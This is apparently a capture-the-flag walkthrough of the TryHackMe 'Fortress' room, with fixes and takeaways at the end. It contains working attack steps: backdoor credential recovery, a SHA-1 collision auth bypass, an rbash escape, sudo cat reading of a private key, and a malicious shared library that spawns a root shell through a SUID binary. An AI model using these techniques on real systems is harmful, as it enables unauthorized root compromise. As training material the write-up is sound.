mintshell
VI

Fortress

A decompiled Python backdoor leaks hardcoded creds to a custom service; a PHP page that compares sha1() of two different inputs is beaten with a SHA-1 collision to leak an SSH key; an rbash escape and sudo cat pivot users, and a SUID binary loading a user-writable shared library is hijacked to root.

Platform
TryHackMe
Room
Fortress(external link)
Difficulty
Medium
Vulnerabilities
hardcoded credentials, weak cryptographic hash, insecure sudo configuration, executable path hijacking
5 min read

A walkthrough of the “Fortress” room from TryHackMe — a puzzle-heavy box. A decompiled Python backdoor reveals hardcoded credentials to a custom TCP service, a PHP page that checks sha1($a)===sha1($b) for two different inputs is beaten with a SHA-1 collision to leak an SSH key, an rbash escape and a sudo cat pivot between users, and a SUID binary that loads a user-writable shared library is hijacked to root.

Fortress is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The box uses bare-value flags; flags, the backdoor password, and SSH keys are shown as <redacted> — real on the box, withheld here.


TL;DR

TL;DR

Anonymous FTP (5581) holds a Python 2.7 .pyc → uncompyle6 reveals a backdoor on port 5752 with hardcoded creds stored as bytes_to_long integers → long_to_bytes recovers them (user 1337-h4x0r) → the service returns a secret path t3mple_0f_y0ur_51n5 → fuzzing finds t3mple_0f_y0ur_51n5.php, which prints a key if sha1($user)===sha1($pass) while $user != $pass → solve with a SHA-1 collision (SHAttered/SHA-mbles files) to leak h4rdy’s SSH key → SSH lands in rbash, escaped via ssh -t "bash --noprofile" + PATH → sudo -u j4x0n /bin/cat reads the user flag and j4x0n’s SSH key → as j4x0n, a SUID /opt/bt loads a user-writable /usr/lib/libfoo.so → replace it with a setuid(0);system("/bin/bash") library for root.

The target

export IP=<target-ip>   # add 'fortress' and 'temple.fortress' to /etc/hosts

nmap shows SSH, anonymous FTP on 5581, a custom service on 5752 (“Chapter 1: A Call for help”), and Apache on 7331:

22/tcp   open  ssh    OpenSSH 7.2p2 Ubuntu
5581/tcp open  ftp    vsftpd 3.0.3   # anonymous
5752/tcp open  ?      # custom: Username/Password prompt
7331/tcp open  http   Apache 2.4.18

Anonymous FTP holds marked.txt (story) and .file, a Python 2.7 byte-compiled file.

The vulnerability

Fortress stacks several bugs: hardcoded credentials in a decompilable binary, a cryptographically broken auth check (SHA-1 collision), a misconfigured sudo cat, and a SUID binary that trusts a writable library.

Insight

The centerpiece is the SHA-1 check: the PHP grants access when sha1($test1) === sha1($test2) but refuses equal inputs ($test1 != $test2). That’s only possible if two different inputs share a SHA-1 hash — which SHA-1 collisions (SHAttered, and the short SHA-mbles chosen-prefix files) provide. The page’s own error even shouts “COLLIDING”. A hash used for equality checks is only as safe as its collision resistance; SHA-1 has none.

Step 1 — decompile the backdoor → recover the service creds

mv .file mycode.pyc && uncompyle6 -o . mycode.pyc
# backdoor.py: usern/passw stored as bytes_to_long(...) integers, service on 5752

Reverse the encoding and talk to the service:

python3 -c "from Crypto.Util.number import long_to_bytes; print(long_to_bytes(232340432076717036154994)); print(long_to_bytes(10555160959732308261529999676324629831532648692669445488))"
# b'1337-h4x0r'   b'<redacted>'
nc fortress 5752   # user 1337-h4x0r / pass <redacted> -> t3mple_0f_y0ur_51n5

Step 2 — SHA-1 collision → leak h4rdy’s SSH key

Fuzzing with t3mple_0f_y0ur_51n5 finds the .php page. Its source compares sha1($user)===sha1($pass) with $user != $pass and small length limits. Submit two short SHA-1-colliding files (same hash, different bytes) as the user/pass GET parameters:

# two colliding blobs -> URL-encode each -> GET t3mple_0f_y0ur_51n5.php?user=<A>&pass=<B>
# response -> m0td_f0r_j4x0n.txt -> contains h4rdy's OpenSSH private key

Step 3 — escape rbash, sudo cat → j4x0n’s key (user flag)

ssh -i h4rdy_id_rsa h4rdy@fortress          # drops into rbash (restricted)
ssh -i h4rdy_id_rsa h4rdy@fortress -t "bash --noprofile"
export PATH=/bin:/usr/bin
sudo -l   # (j4x0n) NOPASSWD: /bin/cat
sudo -u j4x0n /bin/cat /home/j4x0n/user.txt          # <redacted>
sudo -u j4x0n /bin/cat /home/j4x0n/.ssh/id_rsa       # -> j4x0n's SSH key
ssh -i j4x0n_id_rsa j4x0n@fortress

Step 4 — hijack a SUID binary’s shared library → root

As j4x0n, a SUID binary /opt/bt is present (a “trap” that prints fake root messages). strings shows it loads libfoo.so, and that library lives at a user-writable path owned by j4x0n:

j4x0n@fortress:/opt$ find / -name libfoo.so -exec ls -al {} \; 2>/dev/null
# -rwxrwxr-x 1 j4x0n j4x0n /usr/lib/libfoo.so

Replace it with a malicious library whose exported function spawns a root shell, then run the SUID binary:

// libfoo.c
int foo(){ setgid(0); setuid(0); system("/bin/bash"); }
gcc -fPIC -shared -o libfoo.so libfoo.c
cp libfoo.so /usr/lib/libfoo.so
/opt/bt      # loads our libfoo.so as root
root@fortress:~# cat /root/root.txt   # <redacted>

Impact

Critical

Critical — CVSS 3.1 ~9.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). Hardcoded credentials in a decompilable binary and a SHA-1-collision authentication bypass leak an SSH key for remote access. A misconfigured sudo cat reads another user’s private key, and a SUID binary that loads a user-writable shared library escalates to full root — complete host compromise.

Fix

  • Never hardcode credentials in shipped binaries — decompilation reveals them.
  • Don’t authenticate with SHA-1 equality. Use a modern hash and, for auth, compare the actual secrets (constant-time); SHA-1 collisions make sha1(a)===sha1(b) meaningless.
  • Scope sudo tightly. sudo -u user /bin/cat reads that user’s private keys; never grant cat (or any file-read) across trust boundaries.
  • Fix the SUID library load. A SUID binary must not load libraries from paths writable by lower-privileged users; use absolute, root-owned paths and RPATH/secure-mode protections.

Takeaways

  • Decompile everything. A .pyc handed over the service credentials for free.
  • SHA-1 is collidable. Any sha1(a)===sha1(b) gate falls to SHAttered/SHA-mbles files.
  • sudo cat reads secrets, including SSH keys. File-read sudo rules cross privilege boundaries.
  • Writable libraries under SUID binaries = root. Check what a SUID binary loads (strings, ltrace) and where that library is writable.

Fortress is a puzzle box where each riddle encodes a real vulnerability — hardcoded secrets, broken hashing, and a library hijack. Thanks for reading.